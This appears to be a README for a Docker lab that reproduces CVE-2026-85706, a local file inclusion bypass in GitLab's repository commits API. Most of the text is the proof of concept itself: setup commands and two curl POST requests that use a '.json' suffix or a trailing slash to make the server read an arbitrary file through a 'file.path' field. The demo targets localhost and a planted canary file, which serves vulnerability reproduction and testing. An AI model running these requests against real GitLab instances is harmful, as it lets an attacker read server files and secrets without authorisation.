
Docker-based reproduction environment and PoC for CVE-2026-85706, demonstrating GitLab LFI bypass via .json suffix and trailing slash path tricks.
git clone https://github.com/FlowerWitch/CVE-2026-85706_docker_exp
docker compose up -d
docker exec gitlab-vuln bash -c 'echo "SECRET-CANARY-85706-%%%" > /tmp/canary.txt'
# Bypass method 1: .json suffix
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits.json" \
-H "Content-Type: application/json" \
--data '{"file":"","file.path":"/tmp/canary.txt","file.size":1,"Content-Type":"application/x-www-form-urlencoded"}'
# Bypass method 2: trailing slash
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data 'file=&file.path=/tmp/canary.txt&file.size=1&Content-Type=application/x-www-form-urlencoded'
